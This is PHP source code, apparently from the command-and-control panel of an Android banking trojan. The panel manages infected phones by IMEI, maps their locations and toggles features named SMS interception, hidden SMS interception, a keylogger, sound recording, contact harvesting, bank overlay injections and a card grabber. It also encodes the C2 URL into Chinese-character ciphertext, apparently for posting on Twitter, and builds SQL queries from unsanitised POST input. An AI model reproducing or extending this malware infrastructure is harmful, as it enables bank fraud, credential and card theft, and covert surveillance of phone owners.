<button class='btn_log' onclick='getTextFileLogs(\"$idbot\")' data-toggle='modal' data-target='.logs' style='background: transparent;' name='click_log' value='$idbot' title='Logs' ><img id='logs$idbot' src='$icon_log' title='Logs' alt='img' width='18px' class='img_log'/></button>
<button class='btn_log' onclick='getSettingsBot(\"$idbot\");'data-toggle='modal' data-target='.settings' style='background: transparent;' name='click_set' value='$idbot' title='Settings' ><img src='images/icons/fe.png' title='Settings' alt='img' width='20px' class='img_log'/></button>
";
}else{
$icon="";
}
echo "<tr class='table_bots' style='color: #A4A4A4'>
<td>
<p align='left' style='color: #A4A4A4;'>
$AndroidBot</br>
$AndroidOS</br>
$tag_</br>
$Operator</br>
Country: <a title='$country' style='margin-top: -4%;'><img src='images/country/$country.png' width='20px'/></a></br>
$icon
</p>
</td>
<td>
<p align='left' style='color: #A4A4A4'>
$inj
</p>
</td>
<td>
<textarea name='komment$id' id='styled-select' style='color: #A4A4A4; background: transparent; height:100px; border: 1px solid #A4A4A4;'>$comments</textarea>
</td>
<td>
<input type='submit' value='SAVE COMMENT' name='kom_save$id' style='margin-left:5px; border: 1px solid #000; width: 110px' class='btn btn-primary btn-xs'/>
</br>
<input type='submit' value='DELETE' name='delete$id' style='margin-left:5px; border: 1px solid #000; width: 110px;' class='btn btn-danger btn-xs'/>
</td>
</tr>";
}
}
echo "</form>";
?>
</div>
<div class="modal fade logs" id = "log_modal" style="margin-left:0px;">
<div id = "modal_l">
<a id="exit" data-dismiss="modal" aria-hidden="true" onclick="document.getElementById('logsTextArea').remove();" style="margin-left:97%; cursor: pointer; color: Red;">X</a>
<div class="styled-select" id="textArea"></div>
</div>
</div>
<div class="modal fade settings" style="Height: 572px; background: #1D1F24; margin: 0px auto auto -250px; padding: 10px; border-radius: 5px;" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true">
<button type="button" style="margin-top:-10px; color:#fff" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<div class="styled-select">
<?php
$connection4 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection4->exec('SET NAMES utf8');
$sql4 = "SELECT * FROM settings";
echo "<center><a id='AstatusSettings'><h5 id='statusSettings'>Settings are not active, wait until the bot updates them..</h5></a></center>";
echo "ID Bots<select name='comboBox_imeis2' id='comboBox_imeis2' style='color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px; width: 100%; padding: 5px; font-family: 'Consolas'; border: 1px solid #ccc;''>";
echo "</select> ";
echo "</br></br>";
//-----------------------
echo "<h5><a>Time of the bot:</a> <a style='color: Red;' id='idSeconds'></a> <a> seconds</a></h5>";
echo "<a><h5>Injections</h5></a>";
$sql4 = "SELECT * FROM injection";
$countInject = 0;
echo "<div style='width:100%; height:150px; background: #1D1F24; border: 1px solid #C1C1C1; overflow: auto;'>";
foreach($connection4->query($sql4) as $row){
$countInject++;
$ID_inj = $row['id'];
$name_inj = $row['name'];
echo "<input type='checkbox' id='check_set' name='check_set[]' value='$ID_inj' style='margin-top: -10px;'>$name_inj</input></br>";
}
echo "</div>";
echo "All injections: $countInject";
echo "</br></br>";
echo "<input type=checkbox name=check_record id='check_record' value='1' style='margin-top:0px;'> Record Sound </input>";
echo "<input type='text' name='id_seconds' id='id_seconds' style='color: #337ab7; background: #1D1F24; width: 10%; font-size: 13; height: 22px; padding: 5px; font-family: Consolas; border: 1px solid #ccc; border-radius: 8px'></input> Seconds";
echo "</br>";
echo "<input type=checkbox name=check_set_v id='chkinterceptSMS' value='1' style='margin-top:0px;'> Interception SMS</input>";
echo "</br>";
echo "<input type=checkbox name=check_set_d id='chkhideSMS' value='1' style='margin-top:0px;'> Hidden SMS interception</input>";
echo "</br>";
echo "<input type=checkbox name=check_set_network id='chknetwork' value='1' style='margin-top:0px;' > Geolocation NETWORK</input>";
echo "</br>";
echo "<input type=checkbox name=check_set_gps id='chkgps' value='1' style='margin-top:0px;'> Geolocation GPS</input>";
echo "</br>";
echo "<input type=checkbox name=check_foreground id='check_foreground' value='1' style='margin-top:0px;'> Foreground Service</input>";
echo "</br>";
echo "<input type=checkbox name=check_keylogger id='check_keylogger' value='1' style='margin-top:0px;'> Keylogger</input>";
?>
<input type='text' name='text_imei_set' id='text_imei_set'style='visibility:hidden'/>
</br>
<input type='submit' value='Save settings' onclick="saveSetting()" id="bth_add_set" name='bth_add_set' class='btn btn-success' style='Width:100%; Height: 30px; font-size: 14; margin-top:20px;' data-dismiss="modal" aria-hidden="true"/>
</div>
</div>
<?php
}
function Сontains($str,$substr)
{
$result = strpos($str, $substr);
if ($result === FALSE) // если это действительно FALSE, а не ноль, например
return false;
else
return true;
}
?>
+225
View File
@@ -0,0 +1,225 @@
<div class="content" style="height:80%; color: #000; padding: 10px;">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- Если вы используете API локально, то в URL ресурса необходимо указывать протокол в стандартном виде (http://...)-->
<script src="//api-maps.yandex.ru/2.1/?lang=en_US" type="text/javascript"></script>
<script src="icon_customImage.js" type="text/javascript"></script>
<style>
html, body, #map {
width: 100%; height: 100%; padding: 0; margin: 0;
}
</style>
</head>
<div id="map"></div>
<?php
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}
if (($_SESSION['panel_right']!="admin")&&($_SESSION['panel_right']!="user")){
header("Location: /index.php");
}
}
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$query = ("SELECT * FROM markers");
$query2 = ("SELECT * FROM kliets");
$IMEI ="";
$lat = "";
$lng = "";
$type = "";
$provayder = "";
$icon = "";
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
foreach($connection->query($query) as $row)
{
$IMEIx = $row['name'];
$latx = $row['lat'];
$lngx = $row['lng'];
$typex = $row['type'];
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$version_apk="||";
foreach($connection->query($query2) as $row2)
{
if($row2['IMEI']==$IMEIx)
{
$version_apk = $row2['version_apk'];
break;
}
}
if($version_apk!="||")
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue){
echo "$version_apk-$tag";
continue;}
}
else
{
foreach($privateTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}
}
$IMEI = "$IMEI|$IMEIx";
$lat = "$lat|$latx";
$lng = "$lng|$lngx";
$type = "$type|$typex";
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $row['time']);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($row['time']);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
//----------обработка состояние иконки on/off-------/
if($day>=1)//Дни!
{
$icon="$icon|images/icons/market_off.png";
}
else
{
if($seconds<=240)
{
$icon="$icon|images/icons/market_on.png";
}
else
{
$icon="$icon|images/icons/market_off.png";
}
}
}
?>
<script>
ymaps.ready(function () {
var myMap = new ymaps.Map('map', {
center: [0, 0],
zoom: 2
}, {
searchControlProvider: 'yandex#search'
});
var IMEIs = '<?php echo $IMEI;?>'.split('|');
var lats = '<?php echo $lat;?>'.split('|');
var lngs = '<?php echo $lng;?>'.split('|');
var types = '<?php echo $type;?>'.split('|');
var icons = '<?php echo $icon;?>'.split('|');
for(var i=1;i<IMEIs.length;i++)
{
// Создаём макет содержимого.
MyIconContentLayout = ymaps.templateLayoutFactory.createClass(
'<div style="color: #2F4F4F; text-shadow: 0.7px 0 0.7px #fff, 0 0.7px 0.7px #fff, -0.7px 0 0.7px #fff, 0 -0.7px 0.7px #fff; font-weight: bold;">$[properties.iconContent]</div>'
),
myPlacemarkWithContent = new ymaps.Placemark([lats[i], lngs[i]], {
iconContent: "["+types[i]+"]"+IMEIs[i],
}, {
// Опции.
// Необходимо указать данный тип макета.
iconLayout: 'default#imageWithContent',
// Своё изображение иконки метки.
iconImageHref: icons[i],
// Размеры метки.
iconImageSize: [24, 24],
// Смещение левого верхнего угла иконки относительно
// её "ножки" (точки привязки).
iconImageOffset: [-24, -24],
// Смещение слоя с содержимым относительно слоя с картинкой.
iconContentOffset: [-45, 25],
// Макет содержимого.
iconContentLayout: MyIconContentLayout
});
myMap.geoObjects
.add(myPlacemarkWithContent);
}
});
</script>
</div>
+870
View File
@@ -0,0 +1,870 @@
<?php
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /login.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /login.php");
}
if ($_SESSION['panel_right']!="admin"){
header("Location: /index.php");
}
}
?>
<div class="content">
<center>
<input type='submit' value='Users' onClick="location.href='index.php?cont=settings&page=users'" style='width:140px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
<input type='submit' value='Bots settings'onClick="location.href='index.php?cont=settings&page=bots-settings'" style='width:140px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
<input type='submit' value='Generate an Encrypted URL'onClick="location.href='index.php?cont=settings&page=Twitter'" style='width:230px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
</center>
<script>
function reqProc()
{
if (document.getElementById("requestProc").checked) {
document.getElementById("textIDrequestProc").disabled = false;
}else {
document.getElementById("textIDrequestProc").value='';
document.getElementById("textIDrequestProc").disabled = true;
}
}
function reqGEO()
{
if (document.getElementById("request_geo").checked) {
document.getElementById("textIDRequest_geo").disabled = false;
}else {
document.getElementById("textIDRequest_geo").value='';
document.getElementById("textIDRequest_geo").disabled = true;
}
}
function addinjauto()
{
if (document.getElementById("checkaddinjauto").checked) {
document.getElementById("textIDaddinjauto").disabled = false;
}else {
document.getElementById("textIDaddinjauto").value='';
document.getElementById("textIDaddinjauto").disabled = true;
}
}
function addInjNoAuto()
{
if (document.getElementById("IDaddInjNoAuto").checked) {
document.getElementById("TextIDaddInjNoAuto").disabled = false;
}else {
document.getElementById("TextIDaddInjNoAuto").value='';
document.getElementById("TextIDaddInjNoAuto").disabled = true;
}
}
function GetPhoneContacts()
{
if (document.getElementById("checkGetPhoneContacts").checked) {
document.getElementById("TextIDcheckGetPhoneContacts").disabled = false;
}else {
document.getElementById("TextIDcheckGetPhoneContacts").value='';
document.getElementById("TextIDcheckGetPhoneContacts").disabled = true;
}
}
function Getgeolocation()
{
if (document.getElementById("checkGetgeolocation").checked) {
document.getElementById("TextIDcheckGetgeolocation").disabled = false;
}else {
document.getElementById("TextIDcheckGetgeolocation").value='';
document.getElementById("TextIDcheckGetgeolocation").disabled = true;
}
}
</script>
<?php
if ($_SESSION['panel_right']=="admin"){
if(isset($_POST["ADDUSER"]))//вызываем модальную форму!
{
echo "<script>";
echo "$(document).ready(function(){";
echo "$('#adduser_modal').css({'display':'block'});";
echo "});";
echo "</script>";
}
if (preg_match("/edit/",print_r($_POST,true))){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$str = print_r($_POST,true);
$str = str_replace("[","@@@",$str);
$str = str_replace("]","@@@",$str);
$massiv = explode("@@@", $str);
$editid;
$editid = str_replace("edit","", $massiv[1]);
echo "<script>";
echo "$(document).ready(function(){";
echo "$('#edituser_modal').css({'display':'block'});";
echo "});";
echo "</script>";
}
if (preg_match("/delete/",print_r($_POST,true))){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$str = print_r($_POST,true);
$str = str_replace("[","@@@",$str);
$str = str_replace("]","@@@",$str);
$massiv = explode("@@@", $str);
$str = str_replace("delete","", $massiv[1]);
$sql = "DELETE FROM t_users WHERE id='$str'";
$connection->query($sql);
}
if (preg_match("/disable/",print_r($_POST,true))){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$str = print_r($_POST,true);
$str = str_replace("[","@@@",$str);
$str = str_replace("]","@@@",$str);
$massiv = explode("@@@", $str);
$str = str_replace("disable","", $massiv[1]);
$sql = "UPDATE t_users SET status = 'Disabled' WHERE id = '$str';";
$connection->query($sql);
}
if (preg_match("/enable/",print_r($_POST,true))){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$str = print_r($_POST,true);
$str = str_replace("[","@@@",$str);
$str = str_replace("]","@@@",$str);
$massiv = explode("@@@", $str);
$str = str_replace("enable","",$massiv[1]);
$sql = "UPDATE t_users SET status = 'Action' WHERE id = '$str';";
$connection->query($sql);
}
if (preg_match("/connect/",print_r($_POST,true))){
$str = print_r($_POST,true);
$str = str_replace("[","@@@",$str);
$str = str_replace("]","@@@",$str);
$massiv = explode("@@@", $str);
$url = str_replace("connect","",isset($massiv[1]) ? $massiv[1] : "");
$Param = getURL_SERVER();
$url=str_replace("_",".",$url);
$md5=md5($url);
$getData = SendHTTP("$url/setURL.php","$md5|$Param|");
}
if (empty($_GET['page'])) {
$page = 'bots-settings';
}else{
$page = $_GET['page'];
}
if($page == "bots-settings"){
getBotsSETTINGS();
}
elseif($page == "users"){
getUSERS();
}
elseif($page == "Twitter"){
getTwitter();
}
else{
getBotsSETTINGS();
}
}
?>
<?php
function getTwitter(){
include '././crypt.php';
echo "<form name='twitter' method='post'>
<Center>
<div id='DIV_TWITTER' style='width:75%; min-height: 150px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
Encrypt url for the admin panel
</br></br>
<input type='text' name='adminkaurl' value='' id='adminkaurl' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
<input type='submit' value='Generate' name='btntwitter' class='btn btn-outline-secondary'/>";
if(isset($_POST["btntwitter"])){
$textTwit = isset($_POST['adminkaurl']) ? $_POST['adminkaurl'] : "";
echo "</br></br>";
$enstr = encrypt($textTwit,cryptKey);
/* $arrayText = str_split($full, 1);
$fullText="";
for($i=0;$i<count($arrayText);$i++){
$randInt = rand(0, 6);
$space = "";
if($randInt!=0){
for($j=0;$j<$randInt;$j++){
$space="$space ";
}
}
$fullText="$fullText$space".$arrayText[$i];
}*/
$arrayCH = array(
"Q" => "需",
"W" => "要",
"E" => "意",
"R" => "在",
"T" => "中",
"Y" => "并",
"U" => "没",
"I" => "有",
"O" => "个",
"P" => "概",
"A" => "念",
"S" => "小",
"D" => "语",
"F" => "拼",
"G" => "亡",
"H" => "及",
"J" => "注",
"K" => "鲜",
"L" => "新",
"Z" => "死",
"X" => "之",
"C" => "类",
"V" => "阿",
"B" => "努",
"N" => "比",
"M" => "拉",
"q" => "丁",
"w" => "化",
"e" => "体",
"r" => "系",
"y" => "都",
"u" => "只",
"i" => "斯",
"o" => "一",
"p" => "套",
"a" => "用",
"s" => "恶",
"d" => "件",
"f" => "来",
"g" => "标",
"h" => "音",
"j" => "的",
"k" => "符",
"l" => "号",
"z" => "而",
"x" => "不",
"c" => "是",
"v" => "字",
"b" => "母",
"n" => "寂",
"m" => "寞",
"=" => "肏",
"0" => "你",
"1" => "妈",
"2" => "屄",
"3" => "引",
"4" => "脚",
"5" => "吸",
"6" => "员",
"7" => "会",
"8" => "膏",
"9" => "药");
foreach ($arrayCH as $key => $value) {
$enstr = str_replace($key,$value,$enstr);
}
// 苏尔的开始 - начало
// 苏尔苏尔完 - конец
$full = "苏尔的开始".$enstr."苏尔苏尔完";
echo "<pre style=' min-height: 30px;width:85%;color:#fff; border-color: #43717a; background: #1D1F24;'>$full</pre>";
}
echo "
</div>
</Center>
</form>
";
}
function getUSERS()
{
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM t_users";
echo "<form name='getUSERS' method='post'>
<center>
<div id='DIV_USERS' style='width:75%; min-height: 300px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
USERS";
echo "</br>";
echo "<input type='submit' value='Add User' name='ADDUSER' style='width:100px; margin-left:-83%;' class='btn btn-outline-success '/>";
echo "<table class='table table-hover table_dark' id='bootstrap-table'>
<thead class='header_table_bots'>
<th>Login</th>
<th>Permission</th>
<th>Tag bots</th>
<th>Status</th>
<th>Actions</th>
</thead>";
foreach($connection->query($sql) as $row)
{
$id = $row['id'];
$login = $row['login'];
$right = $row['right_'];
$status = $row['status'];
$tag = $row['tag'];
if(($tag=="")||($tag==" "))
{
$tag = "";
}
if($status != "Disabled")
{
$btn_act = "<input type='submit' value='DISABLED' name='disable$id' style='width:105px;' class='btn btn-outline-warning '/>";
}
else
{
$btn_act = "<input type='submit' value='ENABLE' name='enable$id' style='width:90px;' class='btn btn-outline-primary '/>";
}
echo "<tr class='table_bots' style='color: #A4A4A4;'>
<td>$login </td>
<td>$right</td>
<td>$tag</td>
<td>$status</td>
<td>
$btn_act
<input type='submit' value='EDIT' name='edit$id' class='btn btn-outline-primary'/>
<input type='submit' value='DELETE' name='delete$id' class='btn btn-outline-danger'/>
</td>
</tr>";
}
echo "</table>";
echo "</div>
</center>
</form>";
}
function getBotsSETTINGS()
{
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection3->exec('SET NAMES utf8');
$sql3 = "SELECT * FROM settingsall";
$checkInjectionsApps = "";
$secondInjectionsApps = "";
$checkRequestGeolocation = "";
$secondRequestGeolocation = "";
$checkGrab_auto = "";
$Grab_auto = "";
$secondGrab_auto = "";
$checkInjGrab = "";
$InjGrab = "";
$secondInjGrab = "";
$checkPhoneContacts = "";
$secondPhoneContacts = "";
$checkStartGeolocation = "";
$secondStartGeolocation = "";
$findfiles = "";
foreach($connection3->query($sql3) as $row)
{
if($row['id']=="1")
{
$adminkaurl = $row['urls'];
$injurl = $row['urlInj'];
$intInterval = $row['intInterval'];
if($intInterval=="") $intInterval = "14000";
$checksms = $row['checksms'];
$checkhidesms = $row['checkhidesms'];
$checkgeolocation = $row['checkgeolocation'];
$checkInjectionsApps = $row['checkInjectionsApps'];
$secondInjectionsApps = $row['secondInjectionsApps'];
$checkRequestGeolocation = $row['checkRequestGeolocation'];
$secondRequestGeolocation = $row['secondRequestGeolocation'];
$checkGrab_auto = $row['checkGrab_auto'];
$secondGrab_auto = $row['secondGrab_auto'];
$checkInjGrab = $row['checkInjGrab'];
$secondInjGrab = $row['secondInjGrab'];
$checkPhoneContacts = $row['checkPhoneContacts'];
$secondPhoneContacts = $row['secondPhoneContacts'];
$checkStartGeolocation = $row['checkStartGeolocation'];
$secondStartGeolocation = $row['secondStartGeolocation'];
$findfiles = $row['findfiles'];
break;
}
}
echo "<form name='getBotsSETTINGS' method='post' action='application/set/editSettingsPanel.php'>
<div id='Bots_settings' style='width:34%; min-height: 300px; margin-top:20px; margin-left:36%; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
<center>Bots SETTINGS</center>
</br></br>
<a style='margin-left:5%; color:#fff'>URLs panel(url1,url2,..)</a>
<input type='text' name='adminkaurl' value='$adminkaurl' id='adminkaurl' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
</br></br>
<a style='margin-left:5%; color:#fff'>URL injections</a>
<input type='text' name='injurl' value='$injurl' id='injurl' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
</br></br>
<a style='margin-left:5%; color:#fff'>Bots request interval(Milliseconds)</a>
<input type='text' name='intInterval' value='$intInterval' id='intInterval' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
</br></br>
<a style='margin-left:5%; color:#fff'>Find the raw file(.doc/.txt/.apk)</a>
<input type='text' name='findfiles' value='$findfiles' id='intInterval' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
</br></br>";
if($checksms=="1"){
echo "<input type='checkbox' value='1' checked='checked' name='checksms' id='checksms' style='margin-left:5%' />";
}else{
echo "<input type='checkbox' value='1' name='checksms' id='checksms' style='margin-left:5%' />";
}
echo "<a style='margin-left:1%; color:#fff'>Interception SMS</a>
</br></br>";
if($checkhidesms=="1"){
echo "<input type='checkbox' value='1' checked='checked' name='checkhidesms' id='checkhidesms' style='margin-left:5%' />";
}else{
echo "<input type='checkbox' value='1' name='checkhidesms' id='checkhidesms' style='margin-left:5%' />";
}
echo "<a style='margin-left:1%; color:#fff'>Hidden SMS interception</a>
</br></br>";
if($checkgeolocation=="1"){
echo "<input type='checkbox' value='1' checked='checked' name='checkgeolocation' id='checkgeolocation' style='margin-left:5%' />";
}else{
echo "<input type='checkbox' value='1' name='checkgeolocation' id='checkgeolocation' style='margin-left:5%' />";
}
echo "<a style='margin-left:1%; color:#fff'>Start geolocation </a>
</br></br>
<a style='margin-left:5%; color:#fff'>On timer:</a></br></br>";
if($checkInjectionsApps=="1"){
echo "<input type='checkbox' onclick='reqProc();' value='1' checked='checked' name='checkInjectionsApps' id='requestProc' style='margin-left:5%' />";
}else{
echo "<input type='checkbox' onclick='reqProc();' value='1' name='checkInjectionsApps' id='requestProc' style='margin-left:5%' />";
$secondInjectionsApps="";
}
echo "
<a style='color:#fff;' >Request permission for injection</a></br>
<input type='text' name='secondInjectionsApps' value='$secondInjectionsApps' id='textIDrequestProc' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
<a style='color:#fff'>seconds</a>
</br></br>";
if($checkRequestGeolocation=="1"){
echo "<input type='checkbox' onclick='reqGEO();' value='1' checked='checked' name='checkRequestGeolocation' id='request_geo' style='margin-left:5%' />";
}else{
echo "<input type='checkbox' onclick='reqGEO();' value='1' name='checkRequestGeolocation' id='request_geo' style='margin-left:5%' />";
$secondRequestGeolocation="";
}
echo "
<a style='color:#fff;' >Request permission for geolocation</a>
<input type='text' name='secondRequestGeolocation' id='textIDRequest_geo' value='$secondRequestGeolocation' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
<a style='color:#fff'>seconds</a>
</br></br>";
if($checkGrab_auto=="1"){
echo "<input type='checkbox' onclick='addinjauto();' checked='checked' name='checkGrab_auto' value='1' id='checkaddinjauto' style='margin-left:5%' />";
}else{
echo "<input type='checkbox' onclick='addinjauto();' name='checkGrab_auto' value='1' id='checkaddinjauto' style='margin-left:5%' />";
$secondGrab_auto="";
}
echo "
<a style='color:#fff;' >Auto Injects Banks</a>
<input type='text' name='secondGrab_auto' value='$secondGrab_auto' id='textIDaddinjauto' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
<a style='color:#fff'>seconds</a>
";
//-----------------------Авто инжект-------------------------
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM injection";
$sql2 = "SELECT * FROM settingsall";
echo "
</br>";
if($checkInjGrab=="1"){
echo "<input type='checkbox' onclick='addInjNoAuto();' checked='checked' value='1' name='checkInjGrab' id='IDaddInjNoAuto' style='margin-left:5%' onclick='checkAll('chk');' />";
}else{
echo "<input type='checkbox' onclick='addInjNoAuto();' value='1' name='checkInjGrab' id='IDaddInjNoAuto' style='margin-left:5%' onclick='checkAll('chk');' />";
$secondInjGrab="";
}
echo "
<a style='color:#fff;' >Select Injections + Grabber Cards</a></br>
<input type='text' name='secondInjGrab' value='$secondInjGrab' id='TextIDaddInjNoAuto' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
<a style='color:#fff'>seconds</a>";
//-----------------------Выбранные инжекты--+--Граббер карт-------------------------
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM injection";
$sql2 = "SELECT * FROM settingsall";
foreach($connection->query($sql2) as $row)
{
$id=$row['id'];
if($id=="1")
{
$InjGrab = $row['checkInjGrab'];
$InjGrab = $row['InjGrab'];
$secondInjGrab = $row['secondInjGrab'];
break;
}
}
$inject_s = explode("|", $InjGrab);
echo "<div style='width:75%; margin-top:5px; margin-left:5%; height:150px; background: #1D1F24;; border: 1px solid #C1C1C1; overflow: auto;'>";
$idcheck=0;
foreach($connection->query($sql) as $row)
{
$ID_inj = $row['id'];
$name_inj = $row['name'];
$bool_inj=false;
foreach($inject_s as $ids)
{
$bool_inj=false;
if($ids == $ID_inj)
{
echo "<input type=checkbox name=check2_set[] value=$ID_inj value='1' id='checkTextIDaddInjNoAuto$idcheck' style='margin-top: -10px;' checked='checked'><a style='color:#337ab7'>$name_inj</a></input></br>";
$idcheck++;
break;
}
else
{
$bool_inj = true;
}
}
if($bool_inj == true)
{
echo "<input type=checkbox name=check2_set[] value=$ID_inj id='checkTextIDaddInjNoAuto$idcheck' value='1' style='margin-top: -10px;'><a style='color:#337ab7'>$name_inj</a></input></br>";
$idcheck++;
}
}
echo "</div></br>";
if($checkPhoneContacts=="1"){
echo "<input type='checkbox' onclick='GetPhoneContacts();' checked='checked' name='checkPhoneContacts' value='1' id='checkGetPhoneContacts' style='margin-left:5%' />";
}else{
echo "<input type='checkbox' onclick='GetPhoneContacts();' name='checkPhoneContacts' value='1' id='checkGetPhoneContacts' style='margin-left:5%' />";
$secondPhoneContacts="";
}
echo "
<a style='color:#fff;' >Get phone contacts/all applications</a></br>
<input type='text' name='secondPhoneContacts' value='$secondPhoneContacts' id='TextIDcheckGetPhoneContacts' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
<a style='color:#fff'>seconds</a>
</br></br>";
if($checkStartGeolocation == "1"){
echo "<input type='checkbox' onclick='Getgeolocation();' checked='checked' name='checkStartGeolocation' value='1' id='checkGetgeolocation' style='margin-left:5%' />";
}else{
echo "<input type='checkbox' onclick='Getgeolocation();' name='checkStartGeolocation' value='1' id='checkGetgeolocation' style='margin-left:5%' />";
$secondStartGeolocation="";
}
echo "
<a style='color:#fff;' >Start geolocation</a></br>
<input type='text' name='secondStartGeolocation' value='$secondStartGeolocation' id='TextIDcheckGetgeolocation' style='margin-left:5%; color: #337ab7; background: #1D1F24; width: 75%; font-size: 13; height: 28px; border-radius: 5px;'></input>
<a style='color:#fff'>seconds</a>
</br></br>
<center>
<input type='submit' value='SAVE SETTINGS' id='SAVESETTINGS' name='SAVESETTINGS' class='btn btn-outline-success' style='Width:40%; Height: 30px; font-size: 14; margin-top:20px;'/>
</center>
</br>
</div>";
}
//*****
function CheckURL($url){
if($url=check_url($url))
{
if ($o=open_url($url))
{
return true;
}
else
{
return false;
}
}
else return false;
}
function check_url($url)
{
if(preg_match("@^http://@i",$url)) $url = preg_replace("@(http://)+@i",'http://',$url);
else if (preg_match("@^https://@i",$url)) $url = preg_replace("@(https://)+@i",'https://',$url);
else $url = 'http://'.$url;
if (filter_var($url, FILTER_VALIDATE_URL) === FALSE) {
return false;
}
else return $url;
}
// Существование ссылки (URL)
function open_url($url)
{
$url_c=parse_url($url);
if (!empty($url_c['host']) and checkdnsrr($url_c['host']))
{
// Ответ сервера
if ($otvet=@get_headers($url)){
return substr($otvet[0], 9, 3);
}
}
return false;
}
function SendHTTP($URL,$request){
//if(CheckURL("$URL")){
if(($request!=null)&&(strlen($request)!=0)){
$params = array('p' => $request);
$result = file_get_contents("$URL", false, stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query($params)
)
)));
}
return "$result";
/*}else{
return "noconnect|";*/
//}
}
//*****
function getURL_SERVER(){
$protocol=empty($_SERVER['HTTPS'])?'http://':'https://';
$SERVER_NAME = $_SERVER['SERVER_NAME'];
return "$protocol$SERVER_NAME";
}
//*****
?>
<?php//--ADD USERS"--------?>
<div id = "adduser_modal" style="padding-top:70px;">
<div id = "modal_s" style="Width:280px; Height: 340px; background: #1D1F24; margin: 100px auto 0 auto; padding: 10px; border-radius: 5px;">
<a id="exit" href="index.php?cont=settings&page=users" style="margin-left:97%; cursor: pointer; color: Red;" onclick="document.getElementById('log_modal').style.display = 'none'";>X</a>
<form name="modal_set" method="POST" action="application/set/addUsers.php">
<div class="styled-select">
<a style='color:#fff'>LOGIN</a><input type="text" name="login" id="styled-select" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;"></input>
</br></br>
<a style='color:#fff'>PASSWORD</a><input type="text" name="password" id="styled-select" style="color: #337ab7; background: #1D1F24; width: 100%; font-size: 13; height: 28px;"></input>
</br></br>
